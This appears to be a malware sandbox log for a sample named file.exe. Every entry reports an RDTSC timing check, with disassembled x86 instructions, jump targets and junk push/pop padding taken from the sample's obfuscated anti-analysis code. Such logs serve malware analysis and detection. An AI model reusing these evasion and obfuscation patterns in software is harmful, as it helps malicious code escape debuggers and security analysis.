Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041AB9 second address: 1041ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1041ABD second address: 1041AC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDE33 second address: 11CDE67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F04D4C79EB1h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F04D4C79EB7h 0x00000010 push edx 0x00000011 pop edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDE67 second address: 11CDE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F04D4C82A55h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDE88 second address: 11CDE8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDE8C second address: 11CDE98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CDE98 second address: 11CDEB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F04D4C79EB8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE066 second address: 11CE06C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CE82C second address: 11CE830 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0931 second address: 11D0949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F04D4C82A54h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0949 second address: 11D0A04 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F04D4C79EA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 07092199h 0x00000013 push 00000003h 0x00000015 mov cl, A6h 0x00000017 jmp 00007F04D4C79EAFh 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F04D4C79EA8h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 00000014h 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 jmp 00007F04D4C79EB7h 0x0000003d mov dword ptr [ebp+122D1B38h], ebx 0x00000043 push 00000003h 0x00000045 call 00007F04D4C79EB5h 0x0000004a push ebx 0x0000004b jnp 00007F04D4C79EA6h 0x00000051 pop esi 0x00000052 pop esi 0x00000053 call 00007F04D4C79EA9h 0x00000058 jns 00007F04D4C79EB4h 0x0000005e push eax 0x0000005f jmp 00007F04D4C79EB0h 0x00000064 mov eax, dword ptr [esp+04h] 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b pushad 0x0000006c popad 0x0000006d push eax 0x0000006e pop eax 0x0000006f popad 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0A04 second address: 11D0A0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0A0B second address: 11D0A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a pushad 0x0000000b jc 00007F04D4C79EA6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0A1E second address: 11D0A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0A27 second address: 11D0A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0A2B second address: 11D0A2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0A2F second address: 11D0AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007F04D4C79EB7h 0x00000010 pop eax 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F04D4C79EA8h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b mov esi, dword ptr [ebp+122D3797h] 0x00000031 mov dword ptr [ebp+1245C745h], esi 0x00000037 lea ebx, dword ptr [ebp+124627E6h] 0x0000003d push 00000000h 0x0000003f push eax 0x00000040 call 00007F04D4C79EA8h 0x00000045 pop eax 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a add dword ptr [esp+04h], 0000001Bh 0x00000052 inc eax 0x00000053 push eax 0x00000054 ret 0x00000055 pop eax 0x00000056 ret 0x00000057 sub di, DAB0h 0x0000005c push eax 0x0000005d pushad 0x0000005e jne 00007F04D4C79EB7h 0x00000064 push eax 0x00000065 push edx 0x00000066 push ecx 0x00000067 pop ecx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0BC2 second address: 11D0BE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F04D4C82A51h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0BE4 second address: 11D0C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F04D4C79EA8h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 00000014h 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 lea ebx, dword ptr [ebp+124627EFh] 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007F04D4C79EA8h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 00000014h 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 mov edx, 788F4536h 0x00000046 mov esi, dword ptr [ebp+122D3843h] 0x0000004c push eax 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 push edi 0x00000051 pop edi 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0C3A second address: 11D0C43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0D8E second address: 11D0D94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F026C second address: 11F028A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F04D4C82A55h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F028A second address: 11F0290 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F0290 second address: 11F0296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F0559 second address: 11F0588 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jns 00007F04D4C79EA6h 0x00000009 jmp 00007F04D4C79EB3h 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pop ebx 0x00000017 je 00007F04D4C79EAAh 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F07F2 second address: 11F0807 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F04D4C82A4Ch 0x0000000c jg 00007F04D4C82A46h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F0807 second address: 11F080D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F0BD2 second address: 11F0BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F0D7F second address: 11F0D83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7D5B second address: 11B7D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B7D64 second address: 11B7D68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1ACC second address: 11F1AF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F04D4C82A52h 0x00000009 jne 00007F04D4C82A4Eh 0x0000000f push eax 0x00000010 pop eax 0x00000011 jnc 00007F04D4C82A46h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1AF0 second address: 11F1AFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F04D4C79EA6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F6684 second address: 11F668A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F668A second address: 11F6690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F6690 second address: 11F6694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F57E7 second address: 11F57EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B6239 second address: 11B6269 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F04D4C82A4Eh 0x0000000c jmp 00007F04D4C82A54h 0x00000011 js 00007F04D4C82A4Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FE5A4 second address: 11FE5B0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 je 00007F04D4C79EA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200C29 second address: 1200C47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F04D4C82A51h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200C47 second address: 1200C4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200D5C second address: 1200D86 instructions: 0x00000000 rdtsc 0x00000002 je 00007F04D4C82A5Fh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200E62 second address: 1200E83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C79EB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d jnl 00007F04D4C79EA6h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200F46 second address: 1200F4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200F4A second address: 1200F50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200F50 second address: 1200F5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F04D4C82A46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120148F second address: 1201493 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120155C second address: 1201562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201562 second address: 1201566 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12016F7 second address: 120170F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F04D4C82A46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F04D4C82A4Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120170F second address: 1201715 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201715 second address: 1201719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12019C2 second address: 12019D7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F04D4C79EA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e je 00007F04D4C79EA6h 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12019D7 second address: 12019DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12020BA second address: 12020C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12020C3 second address: 1202126 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C82A4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d movsx edi, bx 0x00000010 mov edi, dword ptr [ebp+122D27B4h] 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F04D4C82A48h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 movsx edi, ax 0x00000035 push 00000000h 0x00000037 sbb di, ABBCh 0x0000003c xchg eax, ebx 0x0000003d jnc 00007F04D4C82A4Eh 0x00000043 jnc 00007F04D4C82A48h 0x00000049 push eax 0x0000004a pop eax 0x0000004b push eax 0x0000004c pushad 0x0000004d push eax 0x0000004e push edx 0x0000004f je 00007F04D4C82A46h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202126 second address: 120212A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1203A72 second address: 1203AC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C82A52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F04D4C82A4Ch 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007F04D4C82A48h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D284Fh], edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204612 second address: 120466D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007F04D4C79EA8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push eax 0x00000025 mov di, dx 0x00000028 pop edi 0x00000029 push 00000000h 0x0000002b call 00007F04D4C79EB3h 0x00000030 jno 00007F04D4C79EABh 0x00000036 pop esi 0x00000037 push 00000000h 0x00000039 mov edi, 140F5891h 0x0000003e push eax 0x0000003f push edi 0x00000040 push ecx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12043E9 second address: 12043EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12043EF second address: 1204409 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F04D4C79EACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F04D4C79EA6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12060CA second address: 12060D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12060D2 second address: 12060F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a jg 00007F04D4C79EA6h 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F04D4C79EABh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206FCB second address: 1206FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120A731 second address: 120A749 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F04D4C79EA6h 0x00000008 jng 00007F04D4C79EA6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F04D4C79EA6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2C4D second address: 11B2C56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120DCB2 second address: 120DCD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F04D4C79EB0h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007F04D4C79EA8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120DCD4 second address: 120DD66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C82A50h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F04D4C82A48h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 clc 0x00000025 push 00000000h 0x00000027 jnl 00007F04D4C82A61h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007F04D4C82A48h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 0000001Ch 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 jnl 00007F04D4C82A46h 0x0000004f xchg eax, esi 0x00000050 js 00007F04D4C82A54h 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C549C second address: 11C54BC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F04D4C79EA6h 0x00000008 jmp 00007F04D4C79EB2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120EF32 second address: 120EF36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121240B second address: 12124AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F04D4C79EB2h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F04D4C79EB6h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F04D4C79EA8h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov ebx, dword ptr [ebp+122D36FBh] 0x00000032 push 00000000h 0x00000034 mov dword ptr [ebp+12470F2Bh], ebx 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push eax 0x0000003f call 00007F04D4C79EA8h 0x00000044 pop eax 0x00000045 mov dword ptr [esp+04h], eax 0x00000049 add dword ptr [esp+04h], 0000001Dh 0x00000051 inc eax 0x00000052 push eax 0x00000053 ret 0x00000054 pop eax 0x00000055 ret 0x00000056 jmp 00007F04D4C79EABh 0x0000005b mov edi, dword ptr [ebp+122D19D1h] 0x00000061 push eax 0x00000062 pushad 0x00000063 jbe 00007F04D4C79EACh 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1212681 second address: 121268B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F04D4C82A4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121376F second address: 1213792 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F04D4C79EADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F04D4C79EAFh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1214566 second address: 1214570 instructions: 0x00000000 rdtsc 0x00000002 js 00007F04D4C82A4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12145EC second address: 12145F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12145F6 second address: 12145FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
